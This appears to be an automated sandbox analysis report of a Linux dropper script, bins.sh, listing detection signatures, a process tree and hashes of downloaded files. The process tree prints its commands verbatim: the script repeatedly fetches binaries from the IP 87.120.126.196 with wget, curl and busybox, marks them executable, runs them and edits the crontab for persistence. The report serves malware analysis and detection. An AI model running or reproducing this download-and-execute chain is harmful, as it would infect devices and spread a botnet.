Analysis

  • max time kernel
    9s
  • max time network
    39s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/10/2024, 12:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241024-pc72navhjg
  • SHA256 2a4992a461a9294243239f72f8e4f14f24cf6cad4805da41b24d2d4f92bff583
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:646
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:648
        • /usr/bin/wget
          wget http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • Writes file to tmp directory
          PID:651
        • /usr/bin/curl
          curl -O http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:668
        • /bin/busybox
          /bin/busybox wget http://87.120.126.196/bins/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • Writes file to tmp directory
          PID:676
        • /bin/chmod
          chmod 777 wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          ./wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://87.120.126.196/bins/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • Writes file to tmp directory
            PID:685
          • /bin/chmod
            chmod 777 pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • File and Directory Permissions Modification
            PID:686
          • /tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            ./pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
            • Executes dropped EXE
            PID:687
          • /bin/rm
            rm pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
            2⤵
              PID:690
            • /usr/bin/wget
              wget http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              2⤵
              • Writes file to tmp directory
              PID:691
            • /usr/bin/curl
              curl -O http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:694
            • /bin/busybox
              /bin/busybox wget http://87.120.126.196/bins/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              2⤵
              • Writes file to tmp directory
              PID:699
            • /bin/chmod
              chmod 777 VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              2⤵
              • File and Directory Permissions Modification
              PID:702
            • /tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              ./VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:703
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:705
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:706
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:709
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:710
                • /bin/rm
                  rm VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
                  2⤵
                    PID:722
                  • /usr/bin/wget
                    wget http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                    2⤵
                      PID:726
                    • /usr/bin/curl
                      curl -O http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      PID:729
                    • /bin/busybox
                      /bin/busybox wget http://87.120.126.196/bins/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      2⤵
                      • Writes file to tmp directory
                      PID:732
                    • /bin/chmod
                      chmod 777 ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      2⤵
                      • File and Directory Permissions Modification
                      PID:737
                    • /tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      ./ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      2⤵
                      • Executes dropped EXE
                      PID:738
                    • /bin/rm
                      rm ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                      2⤵
                        PID:740
                      • /usr/bin/wget
                        wget http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                        2⤵
                          PID:741
                        • /usr/bin/curl
                          curl -O http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                          2⤵
                            PID:743
                          • /bin/busybox
                            /bin/busybox wget http://87.120.126.196/bins/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                            2⤵
                            • Writes file to tmp directory
                            PID:747
                          • /bin/chmod
                            chmod 777 bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                            2⤵
                            • File and Directory Permissions Modification
                            PID:752
                          • /tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                            ./bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                            2⤵
                            • Executes dropped EXE
                            PID:754
                          • /bin/rm
                            rm bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                            2⤵
                              PID:756
                            • /usr/bin/wget
                              wget http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                              2⤵
                                PID:757
                              • /usr/bin/curl
                                curl -O http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                PID:758
                              • /bin/busybox
                                /bin/busybox wget http://87.120.126.196/bins/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                2⤵
                                • Writes file to tmp directory
                                PID:761
                              • /bin/chmod
                                chmod 777 TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                2⤵
                                • File and Directory Permissions Modification
                                PID:766
                              • /tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                ./TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                2⤵
                                • Executes dropped EXE
                                PID:767
                              • /bin/rm
                                rm TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                2⤵
                                  PID:769
                                • /usr/bin/wget
                                  wget http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                  2⤵
                                    PID:770
                                  • /usr/bin/curl
                                    curl -O http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    2⤵
                                    • Checks CPU configuration
                                    PID:771
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.126.196/bins/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:773
                                  • /bin/chmod
                                    chmod 777 KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:774
                                  • /tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    ./KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    2⤵
                                    • Executes dropped EXE
                                    PID:775
                                  • /bin/rm
                                    rm KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                    2⤵
                                      PID:777
                                    • /usr/bin/wget
                                      wget http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                      2⤵
                                        PID:778
                                      • /usr/bin/curl
                                        curl -O http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        PID:779
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.126.196/bins/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:780
                                      • /bin/chmod
                                        chmod 777 zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:781
                                      • /tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        ./zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        2⤵
                                        • Executes dropped EXE
                                        PID:782
                                      • /bin/rm
                                        rm zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                        2⤵
                                          PID:783
                                        • /usr/bin/wget
                                          wget http://87.120.126.196/bins/Quktsa0L8pLEfZOPDz7lXwyKDyJsL8v7tR
                                          2⤵
                                            PID:784

                                        Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh

                                              • Path /tmp/KnsYJUvbQCrmWlswnysXGSWwONpFi6Ofwh
                                              • Size 93KB
                                              • SHA256 24689f385c263c42a28dd1498049171abc633faf91b5df2a738a81145d929bd6
                                              • MD5 SHA1 SHA512 SSDEEP

                                              TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk

                                              • Path /tmp/TlMLfoUpBQlacZhZRQwjBtv0s4cVCKpANk
                                              • Size 129KB
                                              • SHA256 ed7e61403d47c0319eea05db0cba4d17bfb1594621d6722bfe43cffecacdf495
                                              • MD5 SHA1 SHA512 SSDEEP

                                              VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI

                                              • Path /tmp/VrvCCoeSu7U0BxGcjYlH6Kus7Pup34szhI
                                              • Size 108KB
                                              • SHA256 138a80e023ab0bbb8b2259cf3633c94c39e6f68df2be2ad01ef08590249e662c
                                              • MD5 SHA1 SHA512 SSDEEP

                                              ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0

                                              • Path /tmp/ZSGUtYPM3hqbag6JaRivunTpsRMQn1FaU0
                                              • Size 84KB
                                              • SHA256 aaf14287d7a971d4541527262e85e5930bbb7f506cff4808d712843be9f05dae
                                              • MD5 SHA1 SHA512 SSDEEP

                                              bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf

                                              • Path /tmp/bkGyaic4ccr8jsDguqepGeOjRdnI7sUohf
                                              • Size 122KB
                                              • SHA256 b254f9a6df1e7aae5181abf014b9d574c959ab71bdfd3a2b21022446c583d843
                                              • MD5 SHA1 SHA512 SSDEEP

                                              pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z

                                              • Path /tmp/pYXG8qGGVcy8OF9a3Ig0lkEFoW9d1Pp56Z
                                              • Size 80KB
                                              • SHA256 100042d7138b4348a13c54c191d501d125b7fea7631382e7d0e9d7251057ce97
                                              • MD5 SHA1 SHA512 SSDEEP

                                              wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ

                                              • Path /tmp/wRh4uEv1izZrLgZ9YY4soxiqnyW6TxUHcZ
                                              • Size 95KB
                                              • SHA256 adb7828df990cedc9f301891e725c547656967d827ce9cfdf3f6e8fa8242618b
                                              • MD5 SHA1 SHA512 SSDEEP

                                              zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC

                                              • Path /tmp/zYL0iTmwvPNV3suI91hrYBW2eU5A8frLZC
                                              • Size 101KB
                                              • SHA256 17441ed8bf165953a69907fb286dd47f2de3f94b744da25c889f86514b904791
                                              • MD5 SHA1 SHA512 SSDEEP

                                              tmp.J9RSni

                                              • Path /var/spool/cron/crontabs/tmp.J9RSni
                                              • Size 210B
                                              • SHA256 c77e8f312d052b6109c3fb97ee4b63741612170741014e36ea09d87f7d541f63
                                              • MD5 SHA1 SHA512